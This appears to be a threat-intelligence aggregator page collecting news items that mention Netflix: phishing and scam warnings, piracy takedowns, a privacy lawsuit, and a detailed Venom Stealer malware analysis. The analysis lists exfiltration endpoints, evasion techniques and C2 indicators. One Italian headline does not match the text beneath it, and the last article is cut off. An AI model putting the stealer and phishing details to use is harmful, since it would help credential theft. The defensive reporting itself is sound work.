Search/netflix

● Vendor

netflix

View graph Watch Export

Known CVEs

Highest CVSS

—

In KEV

Vendor

titus

Connections

51 relationships

Your polite reply to that text is worth $2 on the dark web

malwarebytes.comAug 19, 2026extracted

Il giallo della copia scomparsa: Netflix rischia una causa da 105 milioni di dollari

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

redhotcyber.comAug 2, 2026extracted

Fake crypto gift card sites are getting harder to spot

You want to turn some crypto into a gift card. You search, click a promising result, and land on a site that looks polished and legitimate: a dark theme, trust badges, and promises of instant delivery and no ID checks. You wouldn’t think to question it. But a professional-looking website isn’t proof that it’s legitimate. What’s going on Crypto gift card sites are an easy category to fake. Several legitimate platforms let people convert Bitcoin, Ethereum, and other cryptocurrencies into gift cards for major brands. They also tend to look similar: a dark theme, a bold “Pay with crypto” message, trust badges, and a grid of popular gift card deals. That makes them easy to imitate. Scammers build lookalike sites that copy the same design language and sometimes even use a name that’s only one or two letters different from a legitimate platform. They’re designed to be mistaken for the real thing by anyone scrolling quickly or clicking through from an ad or search result. The pricing is part of the deception, too. A $100 Amazon gift card for $95. A $25 Steam Wallet code for $24. A $100 Netflix gift card for $92. Those discounts don’t look unrealistic, so the scam looks very convincing. What’s the scam? The simplest scam is non-delivery. You pay, and nothing arrives because there was never any gift card to send. The website exists solely to collect crypto payments. Crypto payments generally can’t be reversed. There’s no bank to call and no chargeback if the gift card never arrives. Once your Bitcoin or Ethereum leaves your wallet, it’s usually gone. Some scams go a step further and send you a code. It just isn’t a legitimate one. Stolen gift card numbers are bought and sold on cybercriminal marketplaces, often for a fraction of their face value because they’re likely to be drained or reported before they’re redeemed. A scam site can buy those codes cheaply, resell them at what looks like a reasonable discount, and leave you with a code that never works or stops working shortly after purchase. Even if a stolen code works at first, buying it helps create demand for more stolen gift cards. There’s another reason these sites attract criminals. Crypto gift cards are commonly used to launder stolen cryptocurrency. Converting crypto into gift cards, and gift cards into goods or account balances, makes transactions harder to trace. A fake storefront doesn’t just be steal from buyers, organized crime gangs also use it to move funds. None of this requires advanced technical skills. A convincing storefront, irreversible crypto payments, and search or social media ads are often enough to lure victims. How to protect yourself Go directly to the platform’s official site by typing the address yourself, rather than clicking a link from an ad, a search result, or a message. Check the spelling of the domain character by character. Scam sites often use domains that differ from a legitimate one by just one or two letters. Don’t assume “No ID required” means a site is trustworthy. It’s a genuine feature on some platforms, but scammers use it too. Think twice before clicking Connect Wallet. Depending on the permissions you approve, it can expose more than a single payment. Be skeptical of discounted gift cards, even modest discounts. Small discounts are designed to look believable. Search for the platform’s name plus “scam” or “reviews” before you pay, especially if you found the site through an ad. Use a browser extension that blocks scam and phishing sites, such as Malwarebytes Browser Guard. It can flag a fake storefront before you land on it, even ones it hasn’t seen before. If you’ve already sent crypto to a suspicious site Treat the funds as unrecoverable, but act quickly anyway. If you have the transaction ID, check a blockchain explorer to see whether the funds were sent to a known exchange. If they were, contact the exchange’s fraud team immediately. If you connected your wallet rather than sending a payment, review and revoke any token approvals you granted. Report the site to Google Safe Browsing and Microsoft SmartScreen to help warn other people. Remember A crypto gift card site can look completely legitimate and still not be. Before you send anything, check its reputation first.

malwarebytes.comJul 13, 2026extracted

Fake Netflix, Coca-Cola, and FIFA job scams target marketers

Attackers are impersonating major companies and recruiters to target marketing professionals, using trusted services and browser tricks to make the scam look legitimate. A BleepingComputer article detailing the campaign found at least 34 domains impersonating high-value companies, including Netflix, Coca-Cola, Adidas, and FIFA. The lure is a fake job interview or scheduling request from a “recruiter” representing one of these major companies. The impersonating website then shows the victim a fake Google sign-in pop-up built inside the page, rather than a real browser window. To avoid detection, the attackers route victims through a chain of legitimate services before they reach the phishing site. So, instead of going straight from A to D, you go A → B → C → D. In phishing, attackers use this to make the final malicious site look less suspicious, because the victim passes through legitimate-looking services first. “The operation is abusing the legitimate cloud-based PeopleForce human resources platform and a domain associated with the Salesforce Marketing Cloud service before redirecting the recipient to a malicious landing page.” BleepingComputer noted that the campaign has been running for at least five months and primarily targets people in marketing roles. We know from our own investigations that job-themed phishing is extremely common and is likely especially effective while entry-level positions remain highly competitive and AI continues to shape the job market. How to stay safe Campaigns like these show how AI-enabled scams reshape scams, identity theft, and the ways attackers exploit trust. As Stefan Dasic wrote in a post about a similar campaign that phished for Facebook credentials: “The best protection isn’t spotting the fake—it’s knowing that no legitimate hiring process will ever require you to authenticate through an unfamiliar page, whether it’s dressed up as Google, Facebook, or anything else. When in doubt, close the tab, go to the company’s website yourself, and apply the old-fashioned way.” Other useful tips include: Don’t click links or open attachments in unsolicited job offers. Use a password manager. It won’t autofill your Google username and password on a fake website. Use an up-to-date, real-time anti-malware solution with web protection. Pro tip: Malwarebytes Scam Guard would have helped identify this attack as a scam. Something feel off? Check it before you click. Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.

malwarebytes.comJul 7, 2026extracted

Phishing poses as big-brand job interview to steal Google accounts

A phishing campaign is impersonating more than 30 well-known brands, including Adobe, Netflix, Coca-Cola, and OpenAI, in fake job interviews to steal Google account credentials from marketing professionals. The operation is abusing the legitimate cloud-based PeopleForce human resources platform and a domain associated with the Salesforce Marketing Cloud service before redirecting the recipient to a malicious landing page. To further instill trust and increase the chances of success, the threat actor is using the names and pictures of real recruiters at impersonated companies. Will Thomas, senior advisor at cybersecurity intelligence and threat hunting company Team Cymru, analyzed the campaign and discovered that the phishing email pretends to be from “a recruiter looking to hire people for marketing roles.” The researcher uncovered that the threat actor is using at least 34 domains impersonating high-value companies in the following sectors: Airlines and travel: American Airlines, Booking.com, Delta Air Lines, United Airlines Food and beverage: Coca-Cola, PepsiCo, Red Bull Apparel and luxury goods: Adidas, Louis Vuitton, Sephora, Levis Staffing, consulting, and tech: Adobe, Aquent, ManpowerGroup, McKinsey & Company, OpenAI Hospitality and marketing: Marriott, Omnicom Group Entertainment and sports: FIFA, Netflix Thomas found that the campaign relies on nested redirects, a technique that routes visitors through multiple legitimate services before reaching the malicious landing page. The researcher noted that while the phishing emails appear to originate from PeopleForce, the underlying links resolve to the exct[.]net domain, which is operated by Salesforce following its acquisition of the ExactTarget marketing automation platform, now rebranded as Salesforce Marketing Cloud. ExactTarget redirects to the Wise Agent (wiseagent[.]com) cloud-based real estate Customer Relationship Management (CRM) software for agents, teams, and brokers, which forwards to the phishing landing page. BleepingComputer has found that the operation has been running for at least five months and initially used Outlook email addresses with the name of the impersonated company. One phishing email, posing as a message from Adidas recruiter Paulina Manzo, asked the recipient to schedule a conversation about a potential role at the company. When clicking on the link to the calendar, the recipient was redirected to the threat actor’s landing page adidas-hiring[.]com To continue the process for scheduling a meeting with the recruiter, the potential victim is asked to sign into their Google account. Clicking on the “Continue with Google” button triggers a fake Google sign-in popup rendered inside the phishing page to impersonate Google authentication. Although the pop-up may appear as a legitimate browser window, it is just HTML and CSS code rendered inside the phishing page, a technique known as browser-in-the-browser (BitB). By using modern web development tools, the attacker can imitate all the elements of a legitimate authentication pop-up page. While it is unclear how the threat actor gained access to the legitimate platforms, abusing them does not imply a compromise of the services. One possible avenue is creating a genuine account specifically for the campaign, or using compromised logins, which allows configuring the redirect chain and the landing page. A list of the domains discovered in this phishing campaign is available in Will Thomas’ analysis on GitHub. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

bleepingcomputer.comJul 6, 2026extracted

Italy disrupts CINEMAGOAL piracy app that stole streaming auth codes

Italian authorities have dismantled a piracy ecosystem centered around the CINEMAGOAL app that provided access to various streaming platforms, including Netflix, Disney+, and Spotify. Unlike typical IPTV service providers that openly market themselves online and expose their operations, CINEMAGOAL's approach was stealthier, as it used an app that customers installed on their devices. During the large-scale anti-piracy operation called “Tutto Chiaro” (All Clear), Italian law enforcement conducted 100 searches across the country and seized materials that could help investigators identify involved individuals, as well as determine the amount of illegal profits. According to Guardia di Finanza, the law enforcement agency operating under the Ministry of Economy and Finance, the operators of CINEMAGOAL likely made millions of euros from audiovisual piracy, unauthorized computer access, and computer fraud. The CINEMAGOAL app connected directly to the legitimate streaming platforms and authenticated using valid decryption codes fetched from foreign servers. The system used virtual machines in Italy to capture valid authentication/decryption codes from legitimate subscriptions every 3 minutes and redistribute them to customers. These legitimate subscriptions were opened using false identification data on Sky, DAZN, Netflix, Disney+, and Spotify. Authorities highlight that CINEMAGOAL not only evaded blocks but also offered superior streaming quality, as users streamed content directly from the service rather than receiving a pirate stream, and masked customers’ real IP addresses. "A highly advanced and previously unseen system that not only bypassed the security blocks implemented by the platforms, but also increased viewing quality, reducing the possibility that end users could be ‘intercepted’" by the control system," Guardia di Finanza explains. “Access to the aforementioned application, in fact, did not involve the use of a connection directly attributable to a specific IP address, thereby providing greater shielding for the end user.” In an action coordinated by Eurojust, police forces seized CINEMAGOAL servers in France and Germany that contained the app’s source code and functions for decoding protected streams. 200 financial police officers participated in the operation. The illegal streaming business had more than 70 resellers, who sold annual subscriptions between €40 and €130 ($46-$150). Payments were made using cryptocurrency or to foreign bank accounts and accounts registered under fake names. It is estimated that CINEMAGOAL has caused damages of around €300 million ($347M) in unpaid subscription revenues over the time of its operation. Authorities are now analyzing seized material to identify all involved parties, including end users, and estimate total profits. They have already identified many subscribers and sent penalties ranging from €154 to €5,000 ($179-$5,800) to the first 1,000 of them. The investigation into CINEMAGOAL is still in a preliminary phase, as specified by Guardia di Finanza. During the same law enforcement action, an IPTV service known as “pezzotto” was also identified and dismantled. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

bleepingcomputer.comMay 23, 2026extracted

Texas sued Netflix over claims it secretly collected and sold users’ data

Attorney General (AG) of Texas Ken Paxton announced that he sued Netflix for spying on Texans, including children, and collecting users’ data without their knowledge or consent. The suit alleges Netflix secretly tracks and monetizes detailed viewing behavior of users, including children, while misleading users about its data practices. The case could reshape how Netflix collects data, targets ads, and designs “addictive” features, especially for minors. According to the complaint, Netflix allegedly ran what the AG’s office calls a “surveillance program,” turning every click, pause, and binge session into data that could be sold to advertisers and data brokers. Netflix firmly denies the accusations, calling the lawsuit “inaccurate” and claiming it complies with privacy laws wherever it operates. Spokesperson Jamil Walker said: “The suit lacks merit and is based on inaccurate and distorted information.” But regardless of how this specific case plays out, the lawsuit raises a bigger question for all subscribers: Just how much does your streaming service really know about you, and what does it do with that information? The Texas complaint paints a picture of Netflix as a data company first and a streaming service second. Paxton’s office even describes Netflix as: “A logging company that records and monetizes billions of behavioral events—and occasionally streams movies.” The complaint also references a 2024 ruling by the Dutch Data Protection Authority, which said Netflix does not disclose the true scale or granularity of this data collection. The lawsuit claims Netflix did not just use this data internally for recommendations but also sold it to commercial data brokers and ad tech companies, generating “billions of dollars” annually. The AG wants to stop the unlawful collection and disclosure of user data, require Netflix to disable autoplay by default on kid’s profiles, and impose other injunctive relief and civil penalties. For customers, the main consequences could include potential changes to data collection, targeted advertising, autoplay defaults, and clearer consent and privacy controls. For subscribers on Netflix’s ad‑supported plans, this could slightly change how “personal” ads feel, at least in jurisdictions where regulators clamp down. Plus, the lawsuit serves as a reminder that streaming habits may be far more trackable than users assumed. Even if Netflix ultimately wins or settles without admitting wrongdoing, the lawsuit puts a spotlight on what the company collects and why. Netflix privacy and account settings It will probably take a while before this lawsuit leads to any changes. But there are a few things you can do to protect your privacy: Netflix lets users view and remove entries from their watch history per profile, which can reduce how much historical behavior feeds into recommendations. Where available, turn off non‑essential marketing emails or in‑app promotions that rely on behavioral profiling. Use the parental controls Netflix offers you and turn off autoplay previews. Basically, treat your Netflix account like any other online account: Review every profile, remove old ones, and take five minutes to walk through the privacy- and playback‑related options. Scammers don’t need to hack you. They just need you to click once. Malwarebytes Identity Theft Protection catches suspicious activity before it becomes a problem.

malwarebytes.comMay 13, 2026extracted

Texas sues Netflix over alleged data practices that create ‘surveillance machinery’ without user consent

Texas sues Netflix over alleged data practices that create ‘surveillance machinery’ without user consent Texas Attorney General Ken Paxton said Monday that the state is suing Netflix for allegedly not obtaining user consent before collecting and sharing subscriber data with advertisers and data brokers. The lawsuit cites several examples of Netflix leadership asserting that the company does not collect and share user data with advertisers even as the company has long used “intentional engineering to track and log users’ viewing habits, preferences, devices, household networks, application usage, and other sensitive behavioral data,” according to a press release. This tracking is also used to analyze kids’ profiles, the lawsuit said, and to pinpoint users’ locations. “Netflix users’ data is essentially shopped across Big Ad Tech’s shadowy network,” according to the press release. “The company earns billions of dollars every year from secretly selling consumer data.” A spokesperson for Netflix said in a statement that the lawsuit “lacks merit and is based on inaccurate and distorted information.” “Netflix takes our members’ privacy seriously and complies with privacy and data‑protection laws everywhere we operate,” the statement said. “We look forward to addressing the Texas Attorney General’s allegations in court and further explaining our industry-leading, kid‑friendly parental controls and transparent privacy practices.” In addition to fines, Texas is asking a judge to prevent Netflix from illegally collecting and sharing user data and to mandate that the company no longer use autoplay by default on kids’ profiles. During a 2020 earnings call, CEO Reed Hastings told investors “we don’t collect anything,” according to the lawsuit. “We’re really focused on just making our members happy, and we’re not tied up with all that controversy around advertising.” Meanwhile, the lawsuit alleges, in 2016 a Netflix engineer appeared at a conference, saying that Netflix is a “logging company that occasionally streams movies.” Netflix collects and shares data showing how users and their children behave by tracking what they click and how long they stay, what they replay or skip, where they are located, what apps they use and what other devices they own, according to the lawsuit. The streaming company merges location data pulled from IP addresses with user demographics and viewing habits to “engineer highly granular audience segments and deliver hyper-targeted advertising,” the complaint said. Netflix shares user data with third-party advertisers, the data brokers Experian and Acxiom and ad tech platforms like Google Display & Video 360, allowing its data to be integrated with other information third parties have collected about its users, the lawsuit said. The streaming company also pushes parents to create profiles for their kids, marketing them as a “safe area” for children 12 and under. While Netflix doesn’t show children targeted ads, it “aggressively” collects behavioral data from kids’ accounts, the lawsuit said. Netflix now collects about 5 petabytes of user behavior logs each day, according to the complaint. Paxton alleges that Netflix’s privacy policy is “feeble” and does not tell users about the full scope of its data collection practices. The privacy policy was updated in 2024 after Dutch regulators found that the company did not properly alert consumers about its data collection practices, but it remains “vague, deceptive and incomplete,” the lawsuit said. Updated 5/12 with a statement from Netflix. Suzanne Smalley is a reporter covering digital privacy, surveillance technologies and cybersecurity policy for The Record. She was previously a cybersecurity reporter at CyberScoop. Earlier in her career Suzanne covered the Boston Police Department for the Boston Globe and two presidential campaign cycles for Newsweek. She lives in Washington with her husband and three children.

therecord.mediaMay 11, 2026extracted

Bogus Avast website fakes virus scan, installs Venom Stealer instead

A fake website impersonating Avast antivirus is tricking people into infecting their own computers. The site looks legitimate, runs what appears to be a virus scan, and claims your system is full of threats. But the results are fake: when you’re prompted to “fix” the problem, the download you’re given is actually Venom Stealer—a type of malware designed to steal passwords, session cookies, and cryptocurrency wallet data. This is a classic scare-and-fix scam: create panic, then offer a solution. In this case, the “solution” abuses the trusted Avast brand to deliver the attack. A scan that finds exactly what the attacker wants you to see The phishing page is a recreation of the Avast brand, complete with navigation bar, logo, and reassuring certification badges. Visitors are invited to run what appears to be a comprehensive virus scan. Once they click, the page stages a brief animation before delivering its predetermined verdict: three threats found, three threats removed, system protected. A scrolling console log names a specific detection—Trojan:Win32/Zbot.AA!dll—to lend the performance an air of specificity. The victim is then prompted to download the cure: a file called Avast_system_cleaner.exe. This is the payload. And far from cleaning anything, it immediately begins stealing. A Chrome service that is not Chrome When the victim launches Avast_system_cleaner.exe, the binary—a 64-bit Windows PE executable roughly 2 MB in size—copies itself into a location designed to blend in with legitimate software: C:\Program Files\Google\Chrome\Application\v20svc.exe. The dropped file is byte-for-byte identical to the parent, sharing the same MD5 hash (0a32d6abea15f3bfe2a74763ba6c4ef5). It then launches the copy with the command-line flag --v20c, a meaningless argument whose sole purpose is to signal to the malware that it is running in its second-stage role. The disguise is deliberate. A process named v20svc.exe sitting inside Chrome’s application directory looks, at a glance, like a legitimate browser service component. Anyone scanning their task manager would likely scroll past it without a second thought. This is a textbook example of masquerading: naming a malicious binary to match the conventions of trusted software so it escapes casual inspection. A debug artifact baked into the binary confirms its lineage: the PDB path reads crypter_stub.pdb, indicating the executable was packed using a crypter, which is a tool designed to scramble a payload’s code so antivirus engines cannot recognise it from its signature alone. At the time of analysis, only 27% of engines on VirusTotal flagged the sample, meaning roughly three in four commercial antivirus products missed it entirely. YARA rules matched the sample to the Venom Stealer malware family, a known descendant of the Quasar RAT framework that has been sold on underground forums since at least 2020. Venom Stealer is purpose-built for data theft: browser credentials, session cookies, cryptocurrency wallets, and credit card details stored in browsers. Every cookie, every wallet, every saved password Once running, the malware works through a checklist of high-value targets on the victim’s machine. It starts with browsers. Behavioral analysis confirms the malware harvests saved credentials and session cookies. In the analysis environment, it was observed directly accessing Firefox’s cookie database at C:\Users\ \AppData\Roaming\Mozilla\Firefox\Profiles\ \cookies.sqlite-shm. Process memory also contained fully-formed JSON structures with stolen cookie data from Microsoft Edge and Google Chrome, including active sessions for Netflix, YouTube, Reddit, Facebook, LinkedIn, AliExpress, Outlook, Adobe, and Google. Stolen session cookies give the attacker the ability to hijack authenticated browser sessions without needing the victim’s password, including sessions protected by two-factor authentication. The malware also targets cryptocurrency wallets. Behavioral signatures confirm it searches for and attempts to steal locally-stored wallet data, and Venom Stealer is documented as targeting desktop wallet applications. For anyone holding crypto assets on a hot wallet, the implications are immediate. Beyond credentials, the stealer captures a screenshot of the victim’s desktop, saved temporarily as C:\Users\ \AppData\Local\Temp\screenshot_5sIczFxY95t2IQ5u.jpg, and writes a session tracking file to C:\Users\ \AppData\Roaming\Microsoft\fd1cd7a3\sess. A small marker file is also dropped at C:\Users\Public\NTUSER.dat—a path chosen to mimic a legitimate Windows registry hive file and avoid suspicion. Disguised as analytics, delivered over plain HTTP All stolen data is exfiltrated to a single command-and-control domain: app-metrics-cdn[.]com, which resolved to 104.21.14.89 (a Cloudflare address) during analysis. The domain name is crafted to look like a benign analytics or content delivery service, the kind of traffic that might not raise alarm bells in a corporate proxy log. The exfiltration follows a structured four-step sequence over unencrypted HTTP. First, a multipart form-data POST to /api/upload transmits the collected file—screenshots, wallet data, cookie databases—totalling around 140 KB. A second POST to /api/upload-json sends a structured JSON payload of approximately 29 KB containing parsed credentials and cookies. A confirmation POST to /api/upload-complete signals that the theft is finished. The malware then enters a heartbeat loop, periodically checking in at /api/listener/heartbeat to maintain contact with the operator’s infrastructure. All of this traffic uses a generic Mozilla/5.0 user-agent string, another attempt to blend in with ordinary web browsing. Syscalls, sleep loops, and debugger checks Venom Stealer does not simply steal and leave. It takes significant steps to avoid being caught. The most notable evasion technique is the use of direct and indirect system calls, a method where the malware invokes Windows kernel functions directly rather than routing through the standard ntdll.dll library. Because most endpoint detection tools work by intercepting calls to that library, this technique effectively blinds them. This behaviour was flagged in both the parent and the dropped child process. The malware also checks whether it is being debugged, queries CPU vendor and model information, reads the volume serial number of the system drive, creates guard pages in memory that can crash debuggers attempting to step through the code, and enumerates running processes. These are common techniques for detecting virtual machines and analysis environments. To frustrate automated analysis further, it incorporates sleep calls exceeding three minutes. This is not a new trick Impersonating security software to distribute malware is one of the oldest tricks in the book. A user who believes their system is infected is primed to act urgently, and a page that looks like a trusted antivirus vendor is exactly the kind of authority they will defer to. By staging a fake scan that “finds” threats and then offering a cure, the attacker exploits both fear and trust in a single interaction. This is not an isolated tactic. In May 2025, DomainTools documented a separate campaign in which attackers built a convincing clone of Bitdefender’s website and used it to distribute Venom RAT alongside the StormKitty stealer. The playbook is nearly identical: impersonate a security brand, manufacture urgency, and deliver a Trojan dressed as protection. It suggests this is a repeatable template, not a one-off experiment. What to do if you may have been affected Only download security software from official vendor websites. Avast’s legitimate site is avast.com. Do not trust search engine results, ads, or links in unsolicited emails. If you interacted with a site like this or downloaded the file, act quickly: Check if your system is infected. Look for the file v20svc.exe inC:\Program Files\Google\Chrome\Application\ . If it exists, your system was likely compromised by this malware. Run a full system scan immediately. Use a trusted, up-to-date anti-malware tool (such as Malwarebytes) to detect and remove the infection. If the scan finds threats, follow the tool’s recommendations to quarantine or delete them. Change your password right away. Start with email, banking, and any important accounts. Assume anything saved in your browser has been exposed. Sign out of all active sessions. Log out of services like Google, Microsoft, Facebook, and Netflix. Stolen session cookies allow an attacker to bypass two-factor authentication entirely. Protect cryptocurrency funds. If you use a desktop cryptocurrency wallet, transfer your funds to a new wallet generated on a clean device as soon as possible. Indicators of Compromise (IOCs) File hashes SHA-256: ecbeaa13921dbad8028d29534c3878503f45a82a09cf27857fa4335bd1c9286d Domains app-metrics-cdn[.]com Network indicators 104.21.14.89 C2 URLs http://app-metrics-cdn[.]com/api/upload http://app-metrics-cdn[.]com/api/upload-json http://app-metrics-cdn[.]com/api/upload-complete http://app-metrics-cdn[.]com/api/listener/heartbeat From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

malwarebytes.comMar 27, 2026extracted

Anti-piracy coalition takes down AnimePlay app with 5 million users

The Alliance for Creativity and Entertainment (ACE) announced the shutdown of AnimePlay, a major anime streaming platform with over 5 million users. Backed by more than 50 major television networks and film studios, including Disney, Paramount, Sony Pictures, Warner Bros, Netflix, and Universal Pictures, ACE focuses on taking down illegal streaming services through civil litigation, criminal referrals, and cease-and-desist operations. In recent years, ACE targeted and dismantled a long string of other large-scale illegal streaming networks in joint operations with law enforcement. Most recently, in November 2025, it shut down Photocall, a massive TV piracy streaming platform with over 26 million users annually. In its latest action, the anti-piracy coalition shut down the AnimePlay anime streaming platform, which hosted more than 60 terabytes of anime TV shows and movies and had amassed over 5 million registered users, most of them from Indonesia. ACE took control of the AnimePlay app and dismantled the operation by taking all infrastructure offline, including hosting servers and web domains. "ACE secured control of not just the application, but also its underlying infrastructure, including 15 associated domains, source code, hosting environment, and related digital assets, all of which have now been taken offline," the anti-piracy organization said in a Thursday statement. "In so doing, ACE has effectively dismantled the operation and restricted the operator's ability to rebuild or relaunch the service." The developer and admin of the piracy service also surrendered control of the backend ecosystem powering AnimePlay to ACE, including backend servers, associated databases, advertising tools, and 29 GitHub repositories containing full source code. "We will continue working with our partners across the Asia Pacific region and globally to dismantle criminal operations like this and safeguard the integrity of the creative economy," added Larissa Knapp, Chief Content Protection Officer and Executive Vice President for the Motion Picture Association (MPA). Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

bleepingcomputer.comMar 27, 2026extracted

Researcher Discovers 4th WhatsApp View Once Bypass; Meta Won’t Patch

A researcher has discovered another method to bypass WhatsApp’s View Once feature, but Meta does not plan to patch it because it involves a modified client application. The View Once feature enables users to send photos, videos or voice messages that disappear from the chat after they have been viewed by the recipient. In addition, View Once is designed to prevent users from saving, forwarding, or taking screenshots of the content before it disappears. Tal Be’ery, a reputable researcher and co-founder and CTO of the Zengo cryptocurrency wallet, has found several ways to bypass View Once over the past couple of years, demonstrating how someone could download the file sent via View Once before it vanishes. Zengo issued a warning in September 2024 after discovering that a bypass reported at the time had been exploited in the wild. The latest View Once bypass method is the fourth uncovered by Be’ery. The researcher told SecurityWeek that all previously discovered bypass vulnerabilities were eventually patched by WhatsApp developers, and that he received a bug bounty for one of them. Be’ery has demonstrated the latest method for SecurityWeek and on Wednesday he published a blog post explaining his findings, without sharing technical details to prevent malicious exploitation. The researcher has also shared a video showing the exploit in action. The exploit involves the use of a modified WhatsApp client. Be’ery pointed out that an attacker could also leverage a browser extension and WhatsApp Web for mass exploitation. WhatsApp owner Meta has been informed about the vulnerability, but the company indicated it would not patch it. The vendor informed the researcher that the issue falls outside of its security model and is not covered by its bug bounty program, arguing that it’s difficult to completely prevent a user from capturing content sent via View Once, as they can use another phone to take photos or videos of the content, or use a modified WhatsApp client. Be’ery is displeased that Meta has — in his view — not been consistent in assessing such vulnerabilities, arguing that previously reported issues all involved modified clients and were all patched. As a solution to View Once bypass methods, the researcher proposes implementing a digital rights management (DRM) system. “Similar to Netflix, WhatsApp needs to make sure View Once media is not digitally abused by attackers trying to redistribute it and explicitly scope out analog recording as outside its threat model,” Be’ery said. “By doing so, WhatsApp can establish a clear delineation between issues that are included within the security model and those that are not, and concentrate its security resources accordingly.” Meta’s response to the WhatsApp View Once bypass Contacted by SecurityWeek, Meta clarified that it considers View Once an additional privacy layer that reduces persistence for media files sent between trusted contacts in the official WhatsApp application. The company noted that the privacy feature is designed for conversations between people who trust each other and — as communicated to users — it should only be used to send content to trusted contacts and should not be viewed as a forensic-grade data deletion tool. Meta said it continuously hardens View Once in official clients, but client spoofing and modified clients fall outside the scope of its bug bounty program. The company claims it has been consistent in its assessment of View Once security issues in official clients as opposed to attacks involving rogue clients. [ Read: Researcher Spotlights WhatsApp Metadata Leak ] The tech giant said it appreciates Be’ery’s continuous contributions, but in the case of the latest View Once issue the report is out of scope due to the involvement of an unofficial client application. As for the researcher’s suggestion to use DRM, Meta believes it’s not a good fit for a private messenger’s threat model for several reasons, including the fact that DRM relies on a license server that controls who receives decryption keys. In addition, DRM would still allow someone to record the content on a second device, and the DRM system itself can also be hacked. Related: WhatsApp Boosts Account Security for At-Risk Individuals Related: Vulnerability Allowed Scraping of 3.5 Billion WhatsApp Accounts Related: NPM Package With 56,000 Downloads Steals WhatsApp Credentials, Data

securityweek.comMar 18, 2026extracted

Il Dragone nel Viminale: quando la stretta di mano nasconde un furto

Mentre Roma e Pechino brindavano alla cooperazione, hacker cinesi svuotavano in silenzio i database del Ministero dell’Interno. Una storia di spionaggio, diplomazia e doppio gioco, e di quanto sia urgente cambiare il nostro modo di pensare alla sicurezza digitale. Immaginate di scoprire che, mentre stringevate la mano a qualcuno per siglare un accordo, quell’uomo vi stava già frugando nelle tasche. È, in sintesi, quello che sarebbe accaduto tra l’Italia e la Cina tra il 2024 e il 2025: una storia di diplomazia in superficie e spionaggio informatico nel sottosuolo. Una storia che dovrebbe farci riflettere non solo su Pechino, ma su noi stessi, su come proteggiamo i nostri dati, le nostre istituzioni, e le persone che lavorano per renderci sicuri. Indice degli argomenti Secondo quanto riportato recentemente dal quotidiano La Repubblica l’operazione di cyber- intrusione ha colpito le infrastrutture del Ministero dell’Interno, con la sottrazione di informazioni sensibili relative a circa cinquemila agenti della Digos – la Divisione Investigazioni Generali e Operazioni Speciali della Polizia di Stato. Al centro dell’interesse degli hacker i nomi, gli incarichi e le sedi operative degli agenti impegnati in attività sensibili, come l’antiterrorismo e i controlli sulle comunità straniere, ma anche il tracciamento dei dissidenti di Pechino rifugiati nel nostro Paese. Un’operazione gestita in silenzio e per questo ancora più insidiosa. Nessun allarme immediato, nessun sistema in crash. Solo dati che scivolano via, invisibili, verso destinazioni sconosciute. Come un ladro che non sfonda la porta, ma ha una copia della chiave. Questo tipo di attacco ha un nome preciso nel gergo della sicurezza informatica: esfiltrazione. Non si tratta di distruggere o bloccare, ma di osservare e copiare. L’obiettivo non è paralizzare il nemico, ma capirlo, mappare la sua struttura interna, conoscere i suoi uomini, anticipare le sue mosse. È spionaggio nel senso più classico del termine, semplicemente condotto su un campo di battaglia che non ha confini fisici. La vicenda assume contorni ancora più inquietanti se si guarda al contesto diplomatico in cui è maturata. Il furto di dati è avvenuto, infatti, proprio mentre l’Italia e la Cina avevano deciso di rafforzare la collaborazione giudiziaria su droga, cybercrime, tratta di esseri umani e criminalità organizzata. Nel 2024 il ministro dell’Interno Matteo Piantedosi aveva incontrato a Pechino il suo omologo cinese Wang Xiaohong. In quel periodo, la narrativa ufficiale era quella di due Paesi che imparavano a lavorare insieme contro le mafie transnazionali. La Cina aveva persino risposto per la prima volta a una rogatoria italiana, un segnale incoraggiante di apertura giudiziaria. Sul tavolo c’erano accordi concreti, visite reciproche, squadre miste. L’ipotesi investigativa è quella di una duplice strategia da parte della Cina: da una parte si proponeva aiuto nella lotta alla criminalità, ma nello stesso tempo si stava approfittando della situazione per ricavare informazioni sulle strutture italiane impegnate nelle indagini. Il momento cruciale arriva a novembre 2025, durante un incontro a Prato tra magistrati italiani e una delegazione cinese guidata dall’assistente del ministro della Pubblica sicurezza. Il pm Luca Tescaroli si sarebbe accorto del fatto che la controparte cinese conoscesse molto di più di quanto l’Italia aveva loro fatto sapere. Un dettaglio, una frase fuori posto, una domanda troppo precisa aveva tradito una conoscenza che non avrebbe dovuto esistere. Un segnale d’allarme impossibile da ignorare. Come confermato dal Dipartimento di pubblica sicurezza del ministero degli Interni, “gli attacchi erano finalizzati a tentare di localizzare i cittadini 